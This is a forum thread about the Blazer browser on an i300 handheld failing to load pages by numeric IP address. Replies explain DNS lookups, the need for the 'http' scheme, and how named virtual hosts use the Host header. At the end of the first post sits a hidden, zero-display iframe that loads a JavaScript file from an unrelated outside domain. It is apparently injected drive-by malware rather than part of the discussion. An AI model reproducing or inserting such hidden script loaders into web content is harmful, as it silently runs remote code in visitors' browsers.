    Accessing IP Address

    Using the Blazer web browser on my I-300, I can access pretty much any URL with a "www" domain name. However, in trying to access a specific IP address, my screen is blank and the loading indicator (the little wheel and % complete item) don't show.

    What am I missing? Has anyone encountered a problem when attempting to go to a web page with an address like this: "http://12.124.xxx/sssss.asp?"

    Thanks for any help anyone can offer.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    I know some apps under windows just assumed that what ever you typed, was a domain name type setup. If you typed in a numerical ip address is would still try and do a dns lookup on the ip address. I imagine the app is written the same way, assuming your typing in an domain name rather than a ip address and getting stuck trying to do the dns lookup.

    I believe this is true with Blazer, probably because Blazer uses a proxy server (run by Handspring?). I forget which other brower on the i300 works but I have been able to use one of them to access web pages by ip address. I have used this to connect to the internal web server on some IP connected devices on some of my customers networks (ie RAS servers, printer, etc).

    Worked for me

    I just tried http://216.239.37.101 and I got to google just fine. It did not work if I just used the IP address with out a leading scheme ("http"), like this 216.239.37.101. So, make sure you are using the scheme in the request.


    As an aside, note that because of the use of what is called named virtual webservers, you can not go to every site by IP address. For instance, www.sphi300.com is hosted at 208.146.72.2, but if you go to http://208.146.72.2/, you will not get to it. That's because an HTTP request for "http://www.sphi300.com/" includes an HTTP header of Host: www.sphi300.com, which the web server can use to figure out which web site you are asking for. This is the mechanism that allows one IP address to host many different web sites.
